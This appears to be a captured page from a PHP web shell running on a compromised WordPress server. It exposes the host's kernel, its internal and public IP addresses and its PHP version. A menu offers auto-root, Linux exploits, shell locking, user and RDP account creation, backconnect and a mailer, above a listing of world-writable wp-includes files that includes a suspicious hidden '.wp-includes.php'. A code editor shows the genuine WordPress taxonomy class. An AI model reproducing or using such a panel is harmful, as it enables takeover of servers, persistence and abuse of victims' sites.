Linux ip-172-26-7-228 5.4.0-1103-aws #111~18.04.1-Ubuntu SMP Tue May 23 20:04:10 UTC 2023 x86_64
Apache
: 172.26.7.228 | : 18.116.37.200
Cant Read [ /etc/named.conf ]
5.6.40-24+ubuntu18.04.1+deb.sury.org+1
www-data
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
var /
www /
html /
ru-website_copy /
wp-includes /
[ HOME SHELL ]
Name
Size
Permission
Action
ID3
[ DIR ]
drwxrwxrwx
IXR
[ DIR ]
drwxrwxrwx
PHPMailer
[ DIR ]
drwxrwxrwx
Requests
[ DIR ]
drwxrwxrwx
SimplePie
[ DIR ]
drwxrwxrwx
Text
[ DIR ]
drwxrwxrwx
assets
[ DIR ]
drwxrwxrwx
block-patterns
[ DIR ]
drwxrwxrwx
block-supports
[ DIR ]
drwxrwxrwx
blocks
[ DIR ]
drwxrwxrwx
certificates
[ DIR ]
drwxrwxrwx
css
[ DIR ]
drwxrwxrwx
customize
[ DIR ]
drwxrwxrwx
fonts
[ DIR ]
drwxrwxrwx
images
[ DIR ]
drwxrwxrwx
js
[ DIR ]
drwxrwxrwx
pomo
[ DIR ]
drwxrwxrwx
random_compat
[ DIR ]
drwxrwxrwx
rest-api
[ DIR ]
drwxrwxrwx
sitemaps
[ DIR ]
drwxrwxrwx
sodium_compat
[ DIR ]
drwxrwxrwx
theme-compat
[ DIR ]
drwxrwxrwx
widgets
[ DIR ]
drwxrwxrwx
.DS_Store
10
KB
-rwxrwxrwx
.wp-includes.php
3.61
KB
-rw-r--r--
admin-bar.php
31.6
KB
-rwxrwxrwx
atomlib.php
11.67
KB
-rwxrwxrwx
author-template.php
16.63
KB
-rwxrwxrwx
block-editor.php
16.6
KB
-rwxrwxrwx
block-patterns.php
2.6
KB
-rwxrwxrwx
block-template-utils.php
3.67
KB
-rwxrwxrwx
block-template.php
6.89
KB
-rwxrwxrwx
blocks.php
35.68
KB
-rwxrwxrwx
bookmark-template.php
12.42
KB
-rwxrwxrwx
bookmark.php
14.97
KB
-rwxrwxrwx
cache-compat.php
1.02
KB
-rwxrwxrwx
cache.php
9.29
KB
-rwxrwxrwx
canonical.php
32.31
KB
-rwxrwxrwx
capabilities.php
34.92
KB
-rwxrwxrwx
category-template.php
54.26
KB
-rwxrwxrwx
category.php
12.41
KB
-rwxrwxrwx
class-IXR.php
2.48
KB
-rwxrwxrwx
class-feed.php
529
B
-rwxrwxrwx
class-http.php
38.78
KB
-rwxrwxrwx
class-json.php
42.42
KB
-rwxrwxrwx
class-oembed.php
407
B
-rwxrwxrwx
class-phpass.php
6.54
KB
-rwxrwxrwx
class-phpmailer.php
664
B
-rwxrwxrwx
class-pop3.php
20.35
KB
-rwxrwxrwx
class-requests.php
29.72
KB
-rwxrwxrwx
class-simplepie.php
94.01
KB
-rwxrwxrwx
class-smtp.php
457
B
-rwxrwxrwx
class-snoopy.php
36.83
KB
-rwxrwxrwx
class-walker-category-dropdown...
2.08
KB
-rwxrwxrwx
class-walker-category.php
7.71
KB
-rwxrwxrwx
class-walker-comment.php
13.41
KB
-rwxrwxrwx
class-walker-nav-menu.php
8.44
KB
-rwxrwxrwx
class-walker-page-dropdown.php
2.25
KB
-rwxrwxrwx
class-walker-page.php
6.88
KB
-rwxrwxrwx
class-wp-admin-bar.php
16.59
KB
-rwxrwxrwx
class-wp-ajax-response.php
5.12
KB
-rwxrwxrwx
class-wp-application-passwords...
10.38
KB
-rwxrwxrwx
class-wp-block-editor-context....
890
B
-rwxrwxrwx
class-wp-block-list.php
4.37
KB
-rwxrwxrwx
class-wp-block-parser.php
14.86
KB
-rwxrwxrwx
class-wp-block-pattern-categor...
4.19
KB
-rwxrwxrwx
class-wp-block-patterns-regist...
4.43
KB
-rwxrwxrwx
class-wp-block-styles-registry...
4.6
KB
-rwxrwxrwx
class-wp-block-supports.php
5.15
KB
-rwxrwxrwx
class-wp-block-template.php
1.18
KB
-rwxrwxrwx
class-wp-block-type-registry.p...
4.53
KB
-rwxrwxrwx
class-wp-block-type.php
8.95
KB
-rwxrwxrwx
class-wp-block.php
6.61
KB
-rwxrwxrwx
class-wp-comment-query.php
44.42
KB
-rwxrwxrwx
class-wp-comment.php
9.1
KB
-rwxrwxrwx
class-wp-customize-control.php
25.07
KB
-rwxrwxrwx
class-wp-customize-manager.php
196.48
KB
-rwxrwxrwx
class-wp-customize-nav-menus.p...
55.44
KB
-rwxrwxrwx
class-wp-customize-panel.php
10.16
KB
-rwxrwxrwx
class-wp-customize-section.php
10.72
KB
-rwxrwxrwx
class-wp-customize-setting.php
29.07
KB
-rwxrwxrwx
class-wp-customize-widgets.php
69.52
KB
-rwxrwxrwx
class-wp-date-query.php
34.02
KB
-rwxrwxrwx
class-wp-dependency.php
2.45
KB
-rwxrwxrwx
class-wp-editor.php
69.54
KB
-rwxrwxrwx
class-wp-embed.php
15.58
KB
-rwxrwxrwx
class-wp-error.php
7.13
KB
-rwxrwxrwx
class-wp-fatal-error-handler.p...
7.4
KB
-rwxrwxrwx
class-wp-feed-cache-transient....
2.5
KB
-rwxrwxrwx
class-wp-feed-cache.php
970
B
-rwxrwxrwx
class-wp-hook.php
14.65
KB
-rwxrwxrwx
class-wp-http-cookie.php
7.02
KB
-rwxrwxrwx
class-wp-http-curl.php
12.06
KB
-rwxrwxrwx
class-wp-http-encoding.php
6.5
KB
-rwxrwxrwx
class-wp-http-ixr-client.php
3.39
KB
-rwxrwxrwx
class-wp-http-proxy.php
5.73
KB
-rwxrwxrwx
class-wp-http-requests-hooks.p...
1.93
KB
-rwxrwxrwx
class-wp-http-requests-respons...
4.24
KB
-rwxrwxrwx
class-wp-http-response.php
2.88
KB
-rwxrwxrwx
class-wp-http-streams.php
15.74
KB
-rwxrwxrwx
class-wp-image-editor-gd.php
15.15
KB
-rwxrwxrwx
class-wp-image-editor-imagick....
26.24
KB
-rwxrwxrwx
class-wp-image-editor.php
16.2
KB
-rwxrwxrwx
class-wp-list-util.php
6.79
KB
-rwxrwxrwx
class-wp-locale-switcher.php
4.9
KB
-rwxrwxrwx
class-wp-locale.php
13.65
KB
-rwxrwxrwx
class-wp-matchesmapregex.php
1.76
KB
-rwxrwxrwx
class-wp-meta-query.php
27.19
KB
-rwxrwxrwx
class-wp-metadata-lazyloader.p...
5.23
KB
-rwxrwxrwx
class-wp-network-query.php
18.72
KB
-rwxrwxrwx
class-wp-network.php
12.09
KB
-rwxrwxrwx
class-wp-object-cache.php
13.23
KB
-rwxrwxrwx
class-wp-oembed-controller.php
6.67
KB
-rwxrwxrwx
class-wp-oembed.php
29.61
KB
-rwxrwxrwx
class-wp-paused-extensions-sto...
4.81
KB
-rwxrwxrwx
class-wp-post-type.php
20.33
KB
-rwxrwxrwx
class-wp-post.php
6.27
KB
-rwxrwxrwx
class-wp-query.php
131.63
KB
-rwxrwxrwx
class-wp-recovery-mode-cookie-...
6.31
KB
-rwxrwxrwx
class-wp-recovery-mode-email-s...
10.41
KB
-rwxrwxrwx
class-wp-recovery-mode-key-ser...
4.17
KB
-rwxrwxrwx
class-wp-recovery-mode-link-se...
3.32
KB
-rwxrwxrwx
class-wp-recovery-mode.php
11.11
KB
-rwxrwxrwx
class-wp-rewrite.php
61.37
KB
-rwxrwxrwx
class-wp-role.php
2.44
KB
-rwxrwxrwx
class-wp-roles.php
8.23
KB
-rwxrwxrwx
class-wp-session-tokens.php
7.25
KB
-rwxrwxrwx
class-wp-simplepie-file.php
3.18
KB
-rwxrwxrwx
class-wp-simplepie-sanitize-ks...
1.73
KB
-rwxrwxrwx
class-wp-site-query.php
28.62
KB
-rwxrwxrwx
class-wp-site.php
7.25
KB
-rwxrwxrwx
class-wp-tax-query.php
18.81
KB
-rwxrwxrwx
class-wp-taxonomy.php
13.03
KB
-rwxrwxrwx
class-wp-term-query.php
36.39
KB
-rwxrwxrwx
class-wp-term.php
5.15
KB
-rwxrwxrwx
class-wp-text-diff-renderer-in...
716
B
-rwxrwxrwx
class-wp-text-diff-renderer-ta...
16.4
KB
-rwxrwxrwx
class-wp-theme-json-resolver.p...
11.2
KB
-rwxrwxrwx
class-wp-theme-json.php
32.95
KB
-rwxrwxrwx
class-wp-theme.php
50.11
KB
-rwxrwxrwx
class-wp-user-meta-session-tok...
2.92
KB
-rwxrwxrwx
class-wp-user-query.php
30.6
KB
-rwxrwxrwx
class-wp-user-request.php
2.14
KB
-rwxrwxrwx
class-wp-user.php
21.67
KB
-rwxrwxrwx
class-wp-walker.php
12.43
KB
-rwxrwxrwx
class-wp-widget-factory.php
3.24
KB
-rwxrwxrwx
class-wp-widget.php
17.73
KB
-rwxrwxrwx
class-wp-xmlrpc-server.php
207.93
KB
-rwxrwxrwx
class-wp.php
24.5
KB
-rwxrwxrwx
class.wp-dependencies.php
12.57
KB
-rwxrwxrwx
class.wp-scripts.php
18.49
KB
-rwxrwxrwx
class.wp-styles.php
10.62
KB
-rwxrwxrwx
comment-template.php
92.73
KB
-rwxrwxrwx
comment.php
122.81
KB
-rwxrwxrwx
compat.php
11.8
KB
-rwxrwxrwx
cron.php
39.69
KB
-rwxrwxrwx
date.php
406
B
-rwxrwxrwx
default-constants.php
10.02
KB
-rwxrwxrwx
default-filters.php
29.29
KB
-rwxrwxrwx
default-widgets.php
2.17
KB
-rwxrwxrwx
deprecated.php
121.9
KB
-rwxrwxrwx
embed-template.php
341
B
-rwxrwxrwx
embed.php
46.96
KB
-rwxrwxrwx
error-protection.php
4.02
KB
-rwxrwxrwx
feed-atom-comments.php
5.32
KB
-rwxrwxrwx
feed-atom.php
3.03
KB
-rwxrwxrwx
feed-rdf.php
2.61
KB
-rwxrwxrwx
feed-rss.php
1.16
KB
-rwxrwxrwx
feed-rss2-comments.php
3.97
KB
-rwxrwxrwx
feed-rss2.php
3.71
KB
-rwxrwxrwx
feed.php
22.43
KB
-rwxrwxrwx
formatting.php
318.97
KB
-rwxrwxrwx
functions.php
247.19
KB
-rwxrwxrwx
functions.wp-scripts.php
13.11
KB
-rwxrwxrwx
functions.wp-styles.php
8.11
KB
-rwxrwxrwx
general-template.php
154.5
KB
-rwxrwxrwx
http.php
21.86
KB
-rwxrwxrwx
https-detection.php
6.71
KB
-rwxrwxrwx
https-migration.php
4.62
KB
-rwxrwxrwx
kses.php
62.39
KB
-rwxrwxrwx
l10n.php
55.41
KB
-rwxrwxrwx
link-template.php
145.19
KB
-rwxrwxrwx
load.php
48.87
KB
-rwxrwxrwx
locale.php
162
B
-rwxrwxrwx
media-template.php
58.99
KB
-rwxrwxrwx
media.php
173.93
KB
-rwxrwxrwx
meta.php
58.72
KB
-rwxrwxrwx
ms-blogs.php
24.58
KB
-rwxrwxrwx
ms-default-constants.php
4.6
KB
-rwxrwxrwx
ms-default-filters.php
6.34
KB
-rwxrwxrwx
ms-deprecated.php
20.63
KB
-rwxrwxrwx
ms-files.php
2.58
KB
-rwxrwxrwx
ms-functions.php
91.7
KB
-rwxrwxrwx
ms-load.php
19.32
KB
-rwxrwxrwx
ms-network.php
3.58
KB
-rwxrwxrwx
ms-settings.php
4.03
KB
-rwxrwxrwx
ms-site.php
38.66
KB
-rwxrwxrwx
nav-menu-template.php
22.75
KB
-rwxrwxrwx
nav-menu.php
41.19
KB
-rwxrwxrwx
option.php
74.77
KB
-rwxrwxrwx
pluggable-deprecated.php
6.12
KB
-rwxrwxrwx
pluggable.php
101.48
KB
-rwxrwxrwx
plugin.php
32.34
KB
-rwxrwxrwx
post-formats.php
6.91
KB
-rwxrwxrwx
post-template.php
63.25
KB
-rwxrwxrwx
post-thumbnail-template.php
9.13
KB
-rwxrwxrwx
post.php
258.3
KB
-rwxrwxrwx
query.php
34.94
KB
-rwxrwxrwx
registration-functions.php
200
B
-rwxrwxrwx
registration.php
200
B
-rwxrwxrwx
rest-api.php
91.19
KB
-rwxrwxrwx
revision.php
22.01
KB
-rwxrwxrwx
rewrite.php
18.76
KB
-rwxrwxrwx
robots-template.php
5.05
KB
-rwxrwxrwx
rss-functions.php
255
B
-rwxrwxrwx
rss.php
22.44
KB
-rwxrwxrwx
script-loader.php
105.92
KB
-rwxrwxrwx
session.php
258
B
-rwxrwxrwx
shortcodes.php
20.93
KB
-rwxrwxrwx
sitemaps.php
3.16
KB
-rwxrwxrwx
spl-autoload-compat.php
441
B
-rwxrwxrwx
taxonomy.php
164.21
KB
-rwxrwxrwx
template-canvas.php
594
B
-rwxrwxrwx
template-loader.php
2.94
KB
-rwxrwxrwx
template.php
21.96
KB
-rwxrwxrwx
theme-i18n.json
634
B
-rwxrwxrwx
theme-templates.php
4.61
KB
-rwxrwxrwx
theme.json
5.2
KB
-rwxrwxrwx
theme.php
122.45
KB
-rwxrwxrwx
update.php
29.33
KB
-rwxrwxrwx
user.php
151.56
KB
-rwxrwxrwx
vars.php
5.68
KB
-rwxrwxrwx
version.php
766
B
-rwxrwxrwx
widgets.php
65.7
KB
-rwxrwxrwx
wlwmanifest.xml
1.02
KB
-rwxrwxrwx
wp-db.php
103.61
KB
-rwxrwxrwx
wp-diff.php
647
B
-rwxrwxrwx
Delete
Unzip
Zip
${this.title}
Close
Code Editor : class-wp-taxonomy.php
<?php /** * Taxonomy API: WP_Taxonomy class * * @package WordPress * @subpackage Taxonomy * @since 4.7.0 */ /** * Core class used for interacting with taxonomies. * * @since 4.7.0 */ final class WP_Taxonomy { /** * Taxonomy key. * * @since 4.7.0 * @var string */ public $name; /** * Name of the taxonomy shown in the menu. Usually plural. * * @since 4.7.0 * @var string */ public $label; /** * Labels object for this taxonomy. * * If not set, tag labels are inherited for non-hierarchical types * and category labels for hierarchical ones. * * @see get_taxonomy_labels() * * @since 4.7.0 * @var stdClass */ public $labels; /** * A short descriptive summary of what the taxonomy is for. * * @since 4.7.0 * @var string */ public $description = ''; /** * Whether a taxonomy is intended for use publicly either via the admin interface or by front-end users. * * @since 4.7.0 * @var bool */ public $public = true; /** * Whether the taxonomy is publicly queryable. * * @since 4.7.0 * @var bool */ public $publicly_queryable = true; /** * Whether the taxonomy is hierarchical. * * @since 4.7.0 * @var bool */ public $hierarchical = false; /** * Whether to generate and allow a UI for managing terms in this taxonomy in the admin. * * @since 4.7.0 * @var bool */ public $show_ui = true; /** * Whether to show the taxonomy in the admin menu. * * If true, the taxonomy is shown as a submenu of the object type menu. If false, no menu is shown. * * @since 4.7.0 * @var bool */ public $show_in_menu = true; /** * Whether the taxonomy is available for selection in navigation menus. * * @since 4.7.0 * @var bool */ public $show_in_nav_menus = true; /** * Whether to list the taxonomy in the tag cloud widget controls. * * @since 4.7.0 * @var bool */ public $show_tagcloud = true; /** * Whether to show the taxonomy in the quick/bulk edit panel. * * @since 4.7.0 * @var bool */ public $show_in_quick_edit = true; /** * Whether to display a column for the taxonomy on its post type listing screens. * * @since 4.7.0 * @var bool */ public $show_admin_column = false; /** * The callback function for the meta box display. * * @since 4.7.0 * @var bool|callable */ public $meta_box_cb = null; /** * The callback function for sanitizing taxonomy data saved from a meta box. * * @since 5.1.0 * @var callable */ public $meta_box_sanitize_cb = null; /** * An array of object types this taxonomy is registered for. * * @since 4.7.0 * @var array */ public $object_type = null; /** * Capabilities for this taxonomy. * * @since 4.7.0 * @var stdClass */ public $cap; /** * Rewrites information for this taxonomy. * * @since 4.7.0 * @var array|false */ public $rewrite; /** * Query var string for this taxonomy. * * @since 4.7.0 * @var string|false */ public $query_var; /** * Function that will be called when the count is updated. * * @since 4.7.0 * @var callable */ public $update_count_callback; /** * Whether this taxonomy should appear in the REST API. * * Default false. If true, standard endpoints will be registered with * respect to $rest_base and $rest_controller_class. * * @since 4.7.4 * @var bool $show_in_rest */ public $show_in_rest; /** * The base path for this taxonomy's REST API endpoints. * * @since 4.7.4 * @var string|bool $rest_base */ public $rest_base; /** * The controller for this taxonomy's REST API endpoints. * * Custom controllers must extend WP_REST_Controller. * * @since 4.7.4 * @var string|bool $rest_controller_class */ public $rest_controller_class; /** * The controller instance for this taxonomy's REST API endpoints. * * Lazily computed. Should be accessed using {@see WP_Taxonomy::get_rest_controller()}. * * @since 5.5.0 * @var WP_REST_Controller $rest_controller */ public $rest_controller; /** * The default term name for this taxonomy. If you pass an array you have * to set 'name' and optionally 'slug' and 'description'. * * @since 5.5.0 * @var array|string */ public $default_term; /** * Whether terms in this taxonomy should be sorted in the order they are provided to `wp_set_object_terms()`. * * Use this in combination with `'orderby' => 'term_order'` when fetching terms. * * @since 2.5.0 * @var bool|null */ public $sort = null; /** * Array of arguments to automatically use inside `wp_get_object_terms()` for this taxonomy. * * @since 2.6.0 * @var array|null */ public $args = null; /** * Whether it is a built-in taxonomy. * * @since 4.7.0 * @var bool */ public $_builtin; /** * Constructor. * * See the register_taxonomy() function for accepted arguments for `$args`. * * @since 4.7.0 * * @global WP $wp Current WordPress environment instance. * * @param string $taxonomy Taxonomy key, must not exceed 32 characters. * @param array|string $object_type Name of the object type for the taxonomy object. * @param array|string $args Optional. Array or query string of arguments for registering a taxonomy. * Default empty array. */ public function __construct( $taxonomy, $object_type, $args = array() ) { $this->name = $taxonomy; $this->set_props( $object_type, $args ); } /** * Sets taxonomy properties. * * See the register_taxonomy() function for accepted arguments for `$args`. * * @since 4.7.0 * * @param array|string $object_type Name of the object type for the taxonomy object. * @param array|string $args Array or query string of arguments for registering a taxonomy. */ public function set_props( $object_type, $args ) { $args = wp_parse_args( $args ); /** * Filters the arguments for registering a taxonomy. * * @since 4.4.0 * * @param array $args Array of arguments for registering a taxonomy. * See the register_taxonomy() function for accepted arguments. * @param string $taxonomy Taxonomy key. * @param string[] $object_type Array of names of object types for the taxonomy. */ $args = apply_filters( 'register_taxonomy_args', $args, $this->name, (array) $object_type ); $defaults = array( 'labels' => array(), 'description' => '', 'public' => true, 'publicly_queryable' => null, 'hierarchical' => false, 'show_ui' => null, 'show_in_menu' => null, 'show_in_nav_menus' => null, 'show_tagcloud' => null, 'show_in_quick_edit' => null, 'show_admin_column' => false, 'meta_box_cb' => null, 'meta_box_sanitize_cb' => null, 'capabilities' => array(), 'rewrite' => true, 'query_var' => $this->name, 'update_count_callback' => '', 'show_in_rest' => false, 'rest_base' => false, 'rest_controller_class' => false, 'default_term' => null, 'sort' => null, 'args' => null, '_builtin' => false, ); $args = array_merge( $defaults, $args ); // If not set, default to the setting for 'public'. if ( null === $args['publicly_queryable'] ) { $args['publicly_queryable'] = $args['public']; } if ( false !== $args['query_var'] && ( is_admin() || false !== $args['publicly_queryable'] ) ) { if ( true === $args['query_var'] ) { $args['query_var'] = $this->name; } else { $args['query_var'] = sanitize_title_with_dashes( $args['query_var'] ); } } else { // Force 'query_var' to false for non-public taxonomies. $args['query_var'] = false; } if ( false !== $args['rewrite'] && ( is_admin() || get_option( 'permalink_structure' ) ) ) { $args['rewrite'] = wp_parse_args( $args['rewrite'], array( 'with_front' => true, 'hierarchical' => false, 'ep_mask' => EP_NONE, ) ); if ( empty( $args['rewrite']['slug'] ) ) { $args['rewrite']['slug'] = sanitize_title_with_dashes( $this->name ); } } // If not set, default to the setting for 'public'. if ( null === $args['show_ui'] ) { $args['show_ui'] = $args['public']; } // If not set, default to the setting for 'show_ui'. if ( null === $args['show_in_menu'] || ! $args['show_ui'] ) { $args['show_in_menu'] = $args['show_ui']; } // If not set, default to the setting for 'public'. if ( null === $args['show_in_nav_menus'] ) { $args['show_in_nav_menus'] = $args['public']; } // If not set, default to the setting for 'show_ui'. if ( null === $args['show_tagcloud'] ) { $args['show_tagcloud'] = $args['show_ui']; } // If not set, default to the setting for 'show_ui'. if ( null === $args['show_in_quick_edit'] ) { $args['show_in_quick_edit'] = $args['show_ui']; } $default_caps = array( 'manage_terms' => 'manage_categories', 'edit_terms' => 'manage_categories', 'delete_terms' => 'manage_categories', 'assign_terms' => 'edit_posts', ); $args['cap'] = (object) array_merge( $default_caps, $args['capabilities'] ); unset( $args['capabilities'] ); $args['object_type'] = array_unique( (array) $object_type ); // If not set, use the default meta box. if ( null === $args['meta_box_cb'] ) { if ( $args['hierarchical'] ) { $args['meta_box_cb'] = 'post_categories_meta_box'; } else { $args['meta_box_cb'] = 'post_tags_meta_box'; } } $args['name'] = $this->name; // Default meta box sanitization callback depends on the value of 'meta_box_cb'. if ( null === $args['meta_box_sanitize_cb'] ) { switch ( $args['meta_box_cb'] ) { case 'post_categories_meta_box': $args['meta_box_sanitize_cb'] = 'taxonomy_meta_box_sanitize_cb_checkboxes'; break; case 'post_tags_meta_box': default: $args['meta_box_sanitize_cb'] = 'taxonomy_meta_box_sanitize_cb_input'; break; } } // Default taxonomy term. if ( ! empty( $args['default_term'] ) ) { if ( ! is_array( $args['default_term'] ) ) { $args['default_term'] = array( 'name' => $args['default_term'] ); } $args['default_term'] = wp_parse_args( $args['default_term'], array( 'name' => '', 'slug' => '', 'description' => '', ) ); } foreach ( $args as $property_name => $property_value ) { $this->$property_name = $property_value; } $this->labels = get_taxonomy_labels( $this ); $this->label = $this->labels->name; } /** * Adds the necessary rewrite rules for the taxonomy. * * @since 4.7.0 * * @global WP $wp Current WordPress environment instance. */ public function add_rewrite_rules() { /* @var WP $wp */ global $wp; // Non-publicly queryable taxonomies should not register query vars, except in the admin. if ( false !== $this->query_var && $wp ) { $wp->add_query_var( $this->query_var ); } if ( false !== $this->rewrite && ( is_admin() || get_option( 'permalink_structure' ) ) ) { if ( $this->hierarchical && $this->rewrite['hierarchical'] ) { $tag = '(.+?)'; } else { $tag = '([^/]+)'; } add_rewrite_tag( "%$this->name%", $tag, $this->query_var ? "{$this->query_var}=" : "taxonomy=$this->name&term=" ); add_permastruct( $this->name, "{$this->rewrite['slug']}/%$this->name%", $this->rewrite ); } } /** * Removes any rewrite rules, permastructs, and rules for the taxonomy. * * @since 4.7.0 * * @global WP $wp Current WordPress environment instance. */ public function remove_rewrite_rules() { /* @var WP $wp */ global $wp; // Remove query var. if ( false !== $this->query_var ) { $wp->remove_query_var( $this->query_var ); } // Remove rewrite tags and permastructs. if ( false !== $this->rewrite ) { remove_rewrite_tag( "%$this->name%" ); remove_permastruct( $this->name ); } } /** * Registers the ajax callback for the meta box. * * @since 4.7.0 */ public function add_hooks() { add_filter( 'wp_ajax_add-' . $this->name, '_wp_ajax_add_hierarchical_term' ); } /** * Removes the ajax callback for the meta box. * * @since 4.7.0 */ public function remove_hooks() { remove_filter( 'wp_ajax_add-' . $this->name, '_wp_ajax_add_hierarchical_term' ); } /** * Gets the REST API controller for this taxonomy. * * Will only instantiate the controller class once per request. * * @since 5.5.0 * * @return WP_REST_Controller|null The controller instance, or null if the taxonomy * is set not to show in rest. */ public function get_rest_controller() { if ( ! $this->show_in_rest ) { return null; } $class = $this->rest_controller_class ? $this->rest_controller_class : WP_REST_Terms_Controller::class; if ( ! class_exists( $class ) ) { return null; } if ( ! is_subclass_of( $class, WP_REST_Controller::class ) ) { return null; } if ( ! $this->rest_controller ) { $this->rest_controller = new $class( $this->name ); } if ( ! ( $this->rest_controller instanceof $class ) ) { return null; } return $this->rest_controller; } }
Close